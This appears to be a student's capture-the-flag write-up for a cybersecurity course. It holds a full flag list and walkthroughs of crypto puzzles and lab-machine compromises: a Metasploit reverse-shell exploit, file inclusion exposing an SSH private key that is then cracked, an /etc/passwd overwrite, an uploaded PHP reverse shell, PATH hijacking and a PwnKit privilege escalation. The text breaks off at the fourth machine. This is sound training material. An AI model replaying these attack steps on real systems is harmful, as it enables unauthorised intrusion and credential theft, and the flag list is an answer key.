







CTF Writeup

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 BIP Cybersecurity - Second Practical Assignment

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Flags

This CTF consists of 20 challenges in five categories: Cryptography, CTF, Forensic, Linux and Web Hacking.

```
• Cryptography 01:
                   cyberctfd{57r4n}
• Cryptography 02:
                   cyberctfd{7h15_15_7h3_f146_c4p741n}
                   cyberctfd{JFKJRUIAWXMVDZWYGKNCMLTGKJDXSE}
• Cryptography 03:
• Cryptography 04:
                   cyberctfd{1nv3r53_py7h0n}
• Cryptography 05:
                   cyberctfd{UW80TL9JL0UH}

    CTF 01

    - User:
             cyberctfd{r5KYSTQmMve4KVIoaeaVQH4NUfD7caR6}
             cyberctfd{cROGRMZeGLNFZ3XIfaeaKoT20KTB4qhM}
    - Root:
• CTF 02
             cyberctfd{WdnyIjucRPQY8fanmdvbklZpWVxZq1eJ}
    - User:
             cyberctfd{t2dj90Nj6pB9uY7BBBsvayCGyXzsvwUF}
    - Root:
• CTF 03
    - User:
             cyberctfd{0yjA5vhJWYkTXX2UALbw8Q7yMKqASU73}
    - Root:
             cyberctfd{1BCz8J3tRZgCqUY308QQygKuIzURuLq1}
• CTF 04
             cyberctfd{ejkedSmQx5zEBJz9PjE8gTbPkHr839EY}
    - User:
    - Root:
             cyberctfd{tuF9WIjTCUGyKe8JVKGmqSaDuHp4mQqc}
• Forensic 01:
              cyberctfd{n07_50_53cur3}
               cyberctfd{p1n6_0f_d347h_m4n}
• Forensic 02:
• Forensic 03:
               cyberctfd{[22/Dec/2016:16:31:51 +0300]}
            cyberctfd{d4mn_1_h473_c0w5}
• Linux 01:
• Linux 02:
            cyberctfd{1nd33d_wh3r3_w45_1}
• Linux 03:
            cyberctfd{th15_15_unu5u41}
                   cyberctfd{w3lc0me_t0_cyb3rc7fd}
• Web Hacking 01:
• Web Hacking 02:
                   cyberctfd{ch0c01473_c00k135_4r3_my_f4v0r173}
                   cyberctfd{br0b0t_1s_pr3tty_c001}
• Web Hacking 03:
                   cyberctfd{d0n7_5pl17_m3_4p4r7}
• Web Hacking 04:
• Web Hacking 05:
                   cyberctfd{1_4m_r007}
```

Cryptography

Cryptography 01

The flag is hidden on this file, can you decode it?

The Challenge provides a flag.zip file to download. The zip-archive contains a file with an odd, long name:

The name only contains the following characters: $+-. <>[\]$. Those characters are also the only valid commands for the programming language brainfuck.

Since this is a programming language, it can be executed using an interpreter.




Figure 1: Brainfuck Interpreter

When executed, the resulting output string is cyberctfd(57r4n), which is the searched flag.

Cryptography 02

I sent this file to a friend, and to make sure nobody else would see what's inside it, I protected it with a password, but forgot it.

The password was 10 characters long, it had special characters, uppercase letters and numbers.

I remember the first character was "!", the fifth was "_" followed by "WT", and the ninth was "'". Everything else was composed of numbers.

For an extra layer of protection, I also encoded the message.

The Challenge supplies a zip-archive with an encrypted file called flag .

Based on the hint in the description it can be concluded, that the used password is ten characters long, with five fixed and five numerical characters. This results in a maximum number of combinations of $10^5 = 100.000$

The format of the password is <code>!xxx_WTx^x</code> , where <code>x</code> is an unknown number from zero to nine (<code>[0:9]</code>).

To brute-force this password, a python script is used:

This script will loop over all possible combination and tries to extract the encrypted file. If successfull, the used password is printed out.

After a few seconds the script stops and shows the used password:

```
!628_WT9`0
```

The file is a ASCII text file. Since the string only contains lower- and uppercase characters and an equals sign, this is a strong indicator for a base64-encoded string. After decoding the flag is shown.

```
$ file flag
flag: ASCII text, with no line terminators
$ cat flag
Y31iZXJjdGZkezdoMTVfMTVfN2gzX2ZsNDZfYzRwNzQxbn0=
$ cat flag | base64 -d
cyberctfd{7h15_15_7h3_fl46_c4p741n}
```

Cryptography 03

```
The Flag is hidden somewhere on the website, can you find it?

http://192.168.10.5

Make sure to wrap the flag with cyberctfd{} before submitting the answer.
```

When opening the website corresponding to our IP, we realise that the title is "enigma machine" and the content is just a template.

The website sets an unusual X-Frame-Options:

The values of the X-Frame-Options corresponds to enigma settings, so we set them in an online enigma decoder:




Figure 2: Enginma Settings

Afterwards, inspecting the page, we found out that the console of the page has a code which could match with the input of our machine. This console.log() is at the very end of the main.js.

```
console.log("KPVBP DQRCI NYKWT JQTVY EUMUD YFZEN FXAMO ZECT");
Used as the input, the result is:
thefl agisj fkjru iawxm vdzwy gkncm ltgkj dxse
the flag is jfkjruiawxmvdzwygkncmltgkjdxse
```

JFKJRUIAWXMVDZWYGKNCMLTGKJDXSE

Cryptography 04

The Flag has been encoded using the encode.py script. Can you reverse engineer the script and discover the Flag?

The challenge supplies two files: the encoded flag.txt and the encoder encode.py .

The encoder encodes an input string by adding 13 or 0xd to the byte of the ascii representation of each character. From this byte list the python string output (which is a comma and space seperated string of the decimal representation of each byte), without the opening and closing brackets, is encoded using base64.

```
import base64
encode = list()
store = str()
message = input(": ")
message_bytes = message.encode('ascii')
for a in message_bytes:
    num = int(a + 13)
    encode.append(num)
store = str(encode)[1:-1]
base64_bytes = base64.b64encode(store.encode('ascii'))
base64_message = base64_bytes.decode('ascii')
print(base64_message)
This can be reversed by first decoding the base64 input, splitting the string by and subtracting 13
from each byte in that list. Since this byte list is a character list, it can be displayed as a string.
import base64
with open('flag.txt') as ff:
    base64_message = ff.read()
    base64_bytes = base64_message.encode('ascii')
    store = base64.b64decode(base64_bytes).decode('ascii')
    encode = store.split(', ')
    message = str()
    for a in encode:
        num = int(a) - 13
        message += chr(num)
    print(message)
As expected, the resulting output is the searched flag.
$ python decode.py
cyberctfd{1nv3r53_py7h0n}
Cryptography 05
```

```
The flag is hidden on this file, can you decode it?
```

```
We realised one of the lines has = at the end so we tried base64 decode:
```

```
$ echo "VGhlIGZsYWcgaXMgaGlkZGVuIGluIE1vcnNlIGNvZGUsIGdvb2QgbHVjay4=" | base64 -d
```

The flag is hidden in Morse code, good luck.

Then, we cut the last character of the lines, which symbols corresponds to morse code equivalences as follows:

```
; ->
_ -> -
. -> .
```

Using a classic morse decoder, the results says:

THE FLAG IS UW80TL9JLOUH

CTF

CTF 01

```
Capture The Flag.

IP: 192.168.10.18

The flag is stored in the flag.txt file.
```

```
Capture The Flag.

IP: 192.168.10.18

The flag is stored in the root.txt file.
```

Nmap

To first gain knowledge on what services are running on the machine, a port scan is executed using nmap. With it, all 65535 possible TCP ports are scanned for an answer. If open, the tool will gain information on the running versions.

```
$ nmap -sV -Pn 192.168.10.18 -p-
Starting Nmap 7.92 (https://nmap.org) at 2022-06-13 15:58 CEST
Nmap scan report for 192.168.10.18
Host is up (0.0025s latency).
Not shown: 65527 closed tcp ports (conn-refused)
PORT
                              VERSION
        STATE SERVICE
22/tcp
                              OpenSSH 7.4 (protocol 2.0)
        open ssh
                              SimpleHTTPServer 0.6 (Python 2.7.5)
66/tcp
        open http
                              Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips
80/tcp
        open http
   mod fcgid/2.3.9 PHP/5.4.16 mod perl/2.0.11 Perl/v5.16.3)
111/tcp open rpcbind
                              2-4 (RPC #100000)
443/tcp open ssl/http
                              Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips
   mod_fcgid/2.3.9 PHP/5.4.16 mod_perl/2.0.11 Perl/v5.16.3)
2403/tcp open taskmaster2000?
3306/tcp open mysql
                              MariaDB (unauthorized)
8086/tcp open http
                              InfluxDB http admin 1.7.9
```

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 134.22 seconds

The scan shows that there are five known services running: - OpenSSH on port 22 - A python webserver on port 66 - An apache webserver on port 80 and 443 - A MariaDB database on port 3306 - An admin interface for InfluxDB on port 8086

Website 1

Since the portscan showed two webservers, these are analysed. On port 66 there is a website, that looks like the website of Backblaze. On the top is a navigation bar that shows a login button. The navigation seems to be broken, since the content won't change.



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Figure 3: First website

After the initial look a gobuster scan is initiated, to gather information on known paths and files.

\$ gobuster dir -u http://192.168.10.18:66 -w /usr/share/wordlists/dirb/common.txt -k

by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) _____

[+] Url: http://192.168.10.18:66

[+] Method: GET [+] Threads:

/usr/share/wordlists/dirb/common.txt [+] Wordlist:

[+] Negative Status codes: 404

gobuster/3.1.0 [+] User Agent:

[+] Timeout: 10s

2022/06/13 16:10:10 Starting gobuster in directory enumeration mode

Gobuster found a file called .bash_history , which is a file that is normally stored in the home directory of an user and contains the history of used commands. To show its content, curl is used:

```
$ curl http://192.168.10.18:66/.bash_history
nano /etc/issue
nano /etc/hosts
nano /etc/hostname
crontab -e
ls
rm index.htm
wget 192.168.2.43:81/db7i.htm
mv db7i.htm index.htm
nano /etc/hostname
nano /etc/hosts
wget 192.168.2.43:81/logdel2
bash logdel2
wget 192.168.2.43:81/root.txt
mv root.txt flag.txt
nano flag.txt
shutdown -h now
ip a
shutdown -h now
In the history file, a flag.txt is edited. So we try to request this file.
$ curl http://192.168.10.18:66/flag.txt -k
cyberctfd{r5KYSTQmMve4KVIoaeaVQH4NUfD7caR6}
```

Website 2

The second website on port 80 redirects, as expected, to port 443 using TLS and a self signed certificate. It shows a login screen to a service called | Eyes Of Network |

Eyes Of Network				
▲ username				
△ password				
Connect				
EyesOfNetwork product under GPL2 license, sponsored by AXIANS				

Figure 4: Second website

A link on the bottom of the page redirects so the softwares homepage. On it, there is news article about a security issue. After some research, we found that there is an exploit using meterpreter for CVE-2020-8657 and CVE-2020-8656.

\$ msfconsole

```
> use exploit/linux/http/eyesofnetwork_autodiscovery_rce
msf6 exploit(linux/http/eyesofnetwork_autodiscovery_rce) > set RHOSTS 192.168.10.18
```

msf6 exploit(linux/http/eyesofnetwork_autodiscovery_rce) > exploit

- [*] Started reverse TCP handler on 192.168.9.5:1337
- [*] Running automatic check ("set AutoCheck false" to disable)
- [+] The target appears to be vulnerable. Target is EyesOfNetwork 5.3 or older with API version 2.4.2.
- [*] Target is EyesOfNetwork version 5.3 or later. Attempting exploitation using CVE-2020-8657 or CVE-2020-8656.
- [*] Using generated API key: 41a41f52395de8a08c2de5e1e80ab6f47f5655a53738ec9848f52171143e90d3
- [+] Authenticated as user hwAENgHt

```
[*] Command Stager progress - 100.00% done (897/897 bytes)
[*] Sending stage (3020772 bytes) to 192.168.10.18
[*] Meterpreter session 1 opened (192.168.9.5:1337 -> 192.168.10.18:51476 ) at 2022-06-13 17:12:54 +0200
meterpreter > ls /
Listing: /
```

```
Mode
                  Size
                         Type Last modified
                                                          Name
100644/rw-r--r--
                  0
                         fil
                               2021-04-03 16:50:18 +0200
                                                          .autorelabel
040555/r-xr-xr-x
                 36864
                        dir
                               2021-04-03 19:01:30 +0200
040555/r-xr-xr-x
                 4096
                         dir
                               2021-04-03 19:00:33 +0200
                                                          boot
                               2022-06-13 09:30:57 +0200
040755/rwxr-xr-x
                 3120
                         dir
                                                          dev
040755/rwxr-xr-x
                 12288
                        dir
                               2022-06-13 09:30:58 +0200
                                                          etc
040755/rwxr-xr-x
                 4096
                         dir
                               2021-04-03 16:37:42 +0200
                                                          home
040555/r-xr-xr-x
                 4096
                         dir
                               2021-04-03 16:37:53 +0200
                                                          lib
040555/r-xr-xr-x
                               2021-04-03 16:38:08 +0200
                 36864
                        dir
                                                          1ib64
040700/rwx-----
                  16384
                        dir
                               2021-04-03 16:34:51 +0200
                                                          lost+found
040755/rwxr-xr-x 4096
                         dir
                               2018-04-11 06:59:55 +0200
                                                          media
040755/rwxr-xr-x 4096
                               2018-04-11 06:59:55 +0200
040755/rwxr-xr-x 4096
                               2018-04-11 06:59:55 +0200
                         dir
                                                          opt
                         dir
040555/r-xr-xr-x
                 0
                               2022-06-13 09:30:51 +0200
                                                          proc
040550/r-xr-x---
                 4096
                         dir
                               2022-06-13 10:03:04 +0200
                                                          root
100644/rw-r--r--
                 44
                         fil
                               2022-05-15 16:57:57 +0200
                                                          root.txt
040755/rwxr-xr-x 1000
                         dir
                               2022-06-13 10:03:04 +0200
                                                          run
040555/r-xr-xr-x 16384
                        dir
                               2021-04-03 16:38:04 +0200
                                                          sbin
040755/rwxr-xr-x 4096
                         dir
                               2021-04-03 16:37:17 +0200
                                                          share
040755/rwxr-xr-x
                 4096
                         dir
                               2021-04-03 16:43:07 +0200
                                                          srv
040555/r-xr-xr-x
                 0
                         dir
                               2022-06-13 09:30:53 +0200
                                                          sys
041777/rwxrwxrwx
                 4096
                         dir
                               2022-06-13 17:12:55 +0200
                                                          tmp
040755/rwxr-xr-x
                 4096
                         dir
                               2021-04-03 16:35:14 +0200
                                                          usr
040755/rwxr-xr-x
                 4096
                               2021-04-03 16:43:04 +0200
                         dir
                                                          var
```

meterpreter > cat /root.txt
cyberctfd{cROGRMZeGLNFZ3XIfaeaKoT2OKTB4qhM}

The exploit can be used to execute code remotely and open a reverse shell to the attackers machine.

CTF 02

========

```
Capture The Flag.

IP: 192.168.10.15

The flag is stored in the flag.txt file.
```

```
Capture The Flag. IP: 192.168.10.15
```

The flag is stored in the root.txt file.

Nmap

```
To gather first information, a port scan is executed. It shows two running services, SSH and a webserver.
$ nmap -sV -Pn -p- -A 192.168.10.15
Starting Nmap 7.92 (https://nmap.org) at 2022-06-14 06:08 EDT
Nmap scan report for 192.168.10.15
Host is up (0.0060s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh
                  OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
   2048 44:95:50:0b:e4:73:a1:85:11:ca:10:ec:1c:cb:d4:26 (RSA)
   256 27:db:6a:c7:3a:9c:5a:0e:47:ba:8d:81:eb:d6:d6:3c (ECDSA)
256 e3:07:56:a9:25:63:d4:ce:39:01:c1:9a:d9:fe:de:64 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
| http-title: Apache2 Debian Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 139.79 seconds
For more information on the webserver, gobuster is used.
$ gobuster dir -u http://192.168.10.15 -w /usr/share/wordlists/dirb/common.txt
______
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
______
[+] Url:
                       http://192.168.10.15
[+] Method:
                        GET
[+] Threads:
[+] Wordlist:
                        /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent:
                         gobuster/3.1.0
[+] Timeout:
                         10s
______
2022/06/15 15:59:51 Starting gobuster in directory enumeration mode
_____
                   (Status: 403) [Size: 278]
/.hta
                 (Status: 403) [Size: 278]
/.htaccess
/.htpasswd
                 (Status: 403) [Size: 278]
/index.html (Status: 200) [Size: 10701]
/robots.txt (Status: 200) [Size: 12]
/secret (Status: 301) [Size: 315] [--> http://192.168.10.15/secret/]
/server-status (Status: 403) [Size: 278]
_____
2022/06/15 16:00:03 Finished
_____
$ curl http://192.168.10.15/robots.txt
Hello H4x0r
$ gobuster dir -u http://192.168.10.15/secret/ -w /usr/share/wordlists/dirb/common.txt
```

```
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
_____
                       http://192.168.10.15/secret/
[+] Method:
                       GET
[+] Threads:
[+] Wordlist:
                       /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:
[+] User Agent:
                       gobuster/3.1.0
[+] Timeout:
                       10s
2022/06/15 16:00:27 Starting gobuster in directory enumeration mode
______
                  (Status: 403) [Size: 278]
                 (Status: 403) [Size: 278]
/.htaccess
/.htpasswd
                 (Status: 403) [Size: 278]
                 (Status: 200) [Size: 4]
/index.html
_____
2022/06/15 16:00:36 Finished
_____
$ curl http://192.168.10.15/secret/
$ curl http://192.168.10.15/secret/ -I
HTTP/1.1 200 OK
Date: Wed, 15 Jun 2022 14:00:47 GMT
Server: Apache/2.4.38 (Debian)
Last-Modified: Mon, 16 Aug 2021 10:04:22 GMT
ETag: "4-5c9aa534cd120"
Accept-Ranges: bytes
Content-Length: 4
Content-Type: text/html
Since the results are not helpfull another, more extensive, gobuster search in the /secret folder is done.
gobuster dir -u http://192.168.10.15/secret/
   -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
   -x '.php,.html,.txt'
.....
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
_____
[+] Url:
                       http://192.168.10.15/secret/
[+] Method:
                       GET
[+] Threads:
                       10
[+] Wordlist:
                       /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent:
                       gobuster/3.1.0
[+] Extensions:
                       php, html, txt
```

File inclusion

After a few tries, we figured out that a GET parameter <code>?cmd=</code> can be used, to request files on the web server. From the <code>/etc/passwd</code> we know, that there is a user called <code>mowree</code>, so we try to get their private SSH key.

```
$ curl http://192.168.10.15/secret/evil.php?command=/etc/passwd
root:$1$nap$AgFB0.1Zzzrs5kAK51Vea/:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
mowree:x:1000:1000:mowree,,,:/home/mowree:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
$ curl http://192.168.10.15/secret/evil.php?command=/home/mowree/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,9FB14B3F3D04E90E
```

uuQm2CFIe/eZT5pNyQ6+K1Uap/FYWcsEklzONt+x4AO6FmjFmR8RUpwMHurmbRC6 hqyoiv8vgpQgQRPYMzJ3QgS9kUCGdgC5+cX1NCST/GKQOS4QMQMUTacjZZ8EJzoe o7 + 7 t CB8Zk/sW7b8c3m4Cz0CmE5mut8ZyuTnB0SAlGAQfZjqsldugHjZ1t17mldb+gzWGBUmKTOLO/gcuAZC+Tj+BoGkb2gneiMA85oJX6y/dqq4Ir10Qom+OtOFsuot b7A9XTubgElslUEm8fGW64kX3x3LtXRsoR12n+krZ6T+IOTzThMWExR1Wxp4Ub/k HtXTzdvDQBbgBf4h08qyC0xGEaVZHKaV/ynGn0v0zhlZ+z163SjppVPK07H4bdLg 9SC1omYunvJgunMSOATC8uAWzoQ5Iz5kaOh+NOofUrVtfJZ/OnhtMKW+M948EgnY zh7Ffq1KlMjZHxnIS3bdc14MFV0F3Hpx+iDukvyfeeWKuoeUuvzNfVKVPZKqyaJu rRqnxYW/fzdJm+8XViMQccgQAaZ+Zb2rVW0gyifsEigxShdaT5PGdJFKKVLS+bD1 tHBy6U0hKCn3H8edtXwvZN+9PDGDzUcEpr9xYCLkmH+hcr06ypUtlu9UrePLh/Xs 94KATK4joOIW708GnPdKBiI+3Hk0qakL1kyYQVBtMjKTyEM8yRcssGZr/MdVnYWm VD5pEdAybKBfBG/xVu2CR378BRKzlJkiyqRjXQLoFMVDz3I30RpjbpfYQs2Dm2M7 Mb26wNQW4ff7qe30K/Ixrm7MfkJPzueQlSi94IHXaPvl4vyCoPLW89JzsNDsvG8P hrkWRpPIwpzKdtMPwQbkPu4ykqgKkYYRmVlfX8oeis3C1hCjqvp3Lth0QDI+7Shr Fb5w0n0qfDT4o03U1Pun2iqdI4M+iDZUF4S0BD3xA/zp+d98NnGlRqMmJK+StmqR IIk3DRRkvMxxCm12g2DotRUgT2+mgaZ3nq55eqzXRh0U1P5Qfh0+V8WzbVzhP6+R MtqgW1L0iAgB4CnTIud6DpXQtR91//9alrXa+4nWcDW2GoKjljxOKNK8jXs58SnS 62LrvcNZVokZjq18Xi7xL0XbEk0gtpItLtX7xAHLFTVZt4UH6cs0cwq5vvJAGh69 Q/ikz5XmyQ+wDwQEQDzNeOj9zBh1+1zrdmt0m7hI5WnIJakEM2vqCqluN5CEs4u8 p1ia+meL0JV1LobfnUgxi3Qzm9SF2pifQdePVU4GXGhI0BUf34bts0iEIDf+qx2C pwxoAe1tMmInlZfR2sKVlIeHIBfHq/hPf2PHvUOcpz7MzfY36x9ufZc5MH2JDT8X KREAJ3SOpMplP/ZcXjRL01ESQXeUQ2yvb61m+zphg0QjWH131gnaBIhVIj1nLnTa

```
i99+vYdwe8+8nJq4/WXhkN+VTYXndET2H0fFNTFAqbk2HGy6+6qS/4Q6DVVxTHdp
4Dg2QRnRTjp74dQ1NZ7juucvW7DBFE+CK80dkrr9yFyybVUqBwHrmmQVFGLkS2I/
8kOVjIjFKkGQ4rNRWKVoo/HaRoI/f2G6tbEiOVclUMT8iutAg8S4VA==
----END RSA PRIVATE KEY----
The private key is encrypted with a password, so john is used to crack the password.
$ wget https://raw.githubusercontent.com/openwall/john/bleeding-jumbo/run/ssh2john.py
$ python ssh2john.py id_rsa > id_rsa.hash
$ john --wordlist=/usr/share/wordlists/rockyou.txt id rsa.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
                 (id_rsa)
unicorn
1g 0:00:00:00 DONE (2022-06-15 19:20) 33.33g/s 42666p/s 42666c/s 42666C/s ramona..poohbear1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
With the password unicorn we can now decrypt the private key and connect via SSH.
$ ssh mowree@192.168.10.15 -i id_rsa
Enter passphrase for key 'id_rsa': unicorn
Linux EvilBoxOne 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64
mowree@EvilBoxOne:~$ ls -lah
total 32K
drwxr-xr-x 4 mowree mowree 4,0K may 15 17:12 .
drwxr-xr-x 3 root root 4,0K ago 16 2021 ...
lrwxrwxrwx 1 root root
                            9 ago 16 2021 .bash_history -> /dev/null
-rwxr-xr-x 1 mowree mowree 220 ago 16 2021 .bash_logout
-rwxr-xr-x 1 mowree mowree 3,5K ago 16 2021 .bashrc
drwxr-xr-x 3 mowree mowree 4,0K ago 16 2021 .local
-rwxr-xr-x 1 mowree mowree 807 ago 16 2021 .profile
drwxr-xr-x 2 mowree mowree 4,0K ago 16 2021 .ssh
-r----- 1 mowree mowree 44 may 15 17:12 user.txt
mowree@EvilBoxOne:~$ cat user.txt
cyberctfd{WdnyIjucRPQY8fanmdvbklZpWVxZq1eJ}
Privilege escalation
Running lineas shows that the /etc/passwd file is writeable, which means that we can change the
password for root.
mowree@EvilBoxOne:~$ openssl passwd -1 -salt salty test123
$1$salty$k/iwHaKT6IqLxlAauLSyH0
mowree@EvilBoxOne:~$ nano /etc/passwd
mowree@EvilBoxOne:~$ su -
Contraseña: test123
root@EvilBoxOne:~# cat /root/root.txt
cyberctfd{t2dj90Nj6pB9uY7BBBsvayCGyXzsvwUF}
```

CTF 03

```
Capture The Flag.
   IP: 192.168.10.16
   The flag is stored in the flag.txt file.
   Capture The Flag.
   IP: 192.168.10.16
   The flag is stored in the root.txt file.
Scanning
As a first step, all open ports are scanned.
$ nmap -sV -Pn 192.168.10.15 -p-
Starting Nmap 7.92 (https://nmap.org) at 2022-06-13 17:55 CEST
Nmap scan report for 192.168.10.16
Host is up (0.0043s latency).
Not shown: 65533 closed tcp ports (conn-refused)
      STATE SERVICE VERSION
PORT
                   OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
22/tcp open ssh
80/tcp open http
                   Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 17.09 seconds
The scan shows that there are two running services, a webserver and SSH. The webserver is now scanned
using gobuster.
\ gobuster dir -u http://192.168.10.15 -w /usr/share/wordlists/dirb/common.txt
_____
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
_____
[+] Url:
                          http://192.168.10.16
[+] Method:
                          GET
[+] Threads:
                          10
[+] Wordlist:
                          /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent:
                          gobuster/3.1.0
[+] Timeout:
                          10s
2022/06/13 17:56:24 Starting gobuster in directory enumeration mode
______
/.htaccess
                    (Status: 403) [Size: 278]
/.htpasswd
                  (Status: 403) [Size: 278]
/.hta
                   (Status: 403) [Size: 278]
/config
                   (Status: 301) [Size: 315] [--> http://192.168.10.16/config/]
                   (Status: 301) [Size: 312] [--> http://192.168.10.16/css/]
/css
               (Status: 200) [Size: 810]
/index.php
                   (Status: 301) [Size: 311] [--> http://192.168.10.16/js/]
/js
/server-status (Status: 403) [Size: 278]
```

/upload (Status: 301) [Size: 315] [--> http://192.168.10.16/upload/]

2022/06/13 17:56:26 Finished

With gobuster we found the interesting discovery of the "upload" directory which opens the possibility to maybe upload a file to the machine.

Registering

In a browser the website is opened and an account with the following data is created.

username: pascal
email: pascal@bosym.de

password: pascal




Figure 5: Register an account

Changing passwords

Using the authenticated account and burbsuite, we manage to change the password of other users by changing the id in the post request using burp. Changing the password of user 1 and 2, since our account is 3.

POST /dashboard.php?id=3 HTTP/1.1

Host: 192.168.10.16

password=root&id=1

Now to find the corresponding usernames, we bruteforce creating new users using hydra. If the username exists the registration will fail:

```
$ hydra -L /usr/share/wordlists/simple-users.txt -p root 192.168.10.15 http-post-form
    "/register.php:username=^USER^&password=^USER^
    &email=^USER^%40bosym.de:Register Successful" -V
[80] [http-post-form] host: 192.168.10.16 login: admin password: root
[80] [http-post-form] host: 192.168.10.16 login: GUEST password: root
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-06-14 12:54:39
```

With the output the username should either be admin or GUEST .

With this information, we login with admin:root and discovered that you can upload a file to the server.

Reverse shell

The upload field shows an error, if a file without a correct ending (jpg, png, gif) is uploaded.

```
Sorry , Allow Ex : jpg,png,gif
```

Weirdly enough, it works with phar, which is bascially a php script. So we upload a php reverse shell and connect it to the attacker machine.

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ pwd
$ ls -lah /home
total 16K
drwxr-xr-x 4 root
                               4.0K Jul 16 2021 .
                      root
drwxr-xr-x 20 root
                               4.0K Jul 15 2021 ...
                      root
drwxr-xr-x 4 darkhole darkhole 4.0K Jul 17 2021 darkhole
                               4.0K May 15 15:40 john
drwxrwxrwx 5 john
                       john
$ ls -lah /home/john
total 76K
drwxrwxrwx 5 john
                      john
                              4.0K Jun 14 15:32 .
drwxr-xr-x 4 root
                     root
                              4.0K Jul 16 2021 ...
-rw----- 1 john
                      john
                              2.0K Jun 14 14:40 .bash_history
-rw-r--r-- 1 john
                      john
                               220 Jul 16 2021 .bash_logout
-rw-r--r-- 1 john
                     john
                              3.7K Jul 16 2021 .bashrc
drwx---- 2 john
                     john
                              4.0K Jul 17 2021 .cache
drwxrwxr-x 3 john
                              4.0K Jul 17 2021 .local
                     john
-rw---- 1 john
                     john
                                37 Jul 17 2021 .mysql history
-rw-r--r-- 1 john
                     john
                               807 Jul 16 2021 .profile
drwxrwx--- 2 john
                     www-data 4.0K Jun 14 15:15 .ssh
-rwxrwx--- 1 john
                                33 Jun 14 15:06 file.py
                      john
-rwxrwx--- 1 john
                                 8 Jul 17 2021 password
                      john
                               17K Jul 17 2021 toto
-rwsr-xr-x 1 root
                     root
-rw-rw---- 1 john
                     john
                                44 May 15 15:36 user.txt
```

We found that there are interesting files, which are only readable to **john** . Also there is a **toto** binary

file. Using strings toto , we can see that the calls setgid , setuid and system are being used. When executed the output is:

```
$ /home/john/toto
uid=1001(john) gid=33(www-data) groups=33(www-data)
```

So it sets the uid for the system('id') command. From the Linux man page for system under caveats it says:

Do not use system() from a privileged program (a set-user-ID or set-group-ID program, or a program with capabilities) because strange values for some environment variables might be used to subvert system integrity. For example, PATH could be manipulated so that an arbitrary program is executed with privilege.

So we change the PATH variable, create a "fake" id (which executes | bash), execute it and change the PATH back.

```
$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/snap/bin
$ echo "#!/bin/bash
/bin/bash -i" > ./id
$ chmod +x id
$ PATH=/home/john ./toto
john@darkhole:/home/john$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:
    /usr/bin:/sbin:/snap/bin
john@darkhole:/home/john$ cat password
root123
john@darkhole:/home/john$ cat user.txt
cyberctfd{OyjA5vhJWYkTXX2UALbw8Q7yMKqASU73}
Now we can login via ssh with john:root123 using ssh john@192.168.10.16 to close the reverse shell.
```

Privilege escalation

With "john" as user, run lineas to search for ways to escalate privilege.

The logs show a possibility for CVE-2021-4034.

Since gcc and make are available, we download the PoC for PwnKit, compile and run it.

```
total 44K

drwx----- 6 root root 4.0K Jul 17 2021 .

drwxr-xr-x 20 root root 4.0K Jul 15 2021 ..

-rw----- 1 root root 3.0K Jun 14 15:29 .bash_history

-rw-r--r 1 root root 3.1K Dec 5 2019 .bashrc

drwx----- 2 root root 4.0K Jul 17 2021 .cache

drwxr-xr-x 3 root root 4.0K Jul 17 2021 .local

-rw---- 1 root root 18 Jul 15 2021 .mysql_history

-rw-r--r- 1 root root 161 Dec 5 2019 .profile

drwx----- 2 root root 4.0K Jul 15 2021 .ssh

-rw-r--r- 1 root root 4.0K Jul 15 2021 .ssh

-rw-r--r- 1 root root 4.0K Jul 15 2021 .sap

# cat /root/root.txt

cyberctfd{1BCz8J3tRZgCqUY308QQygKuIzURuLql}
```

CTF 04

```
Capture The Flag.

IP: 192.168.10.17

The flag is stored in the flag.txt file.
```

```
Capture The Flag.

IP: 192.168.10.17

The flag is stored in the root.txt file.
```

Nmap

First thing to do is to scan for open ports.

```
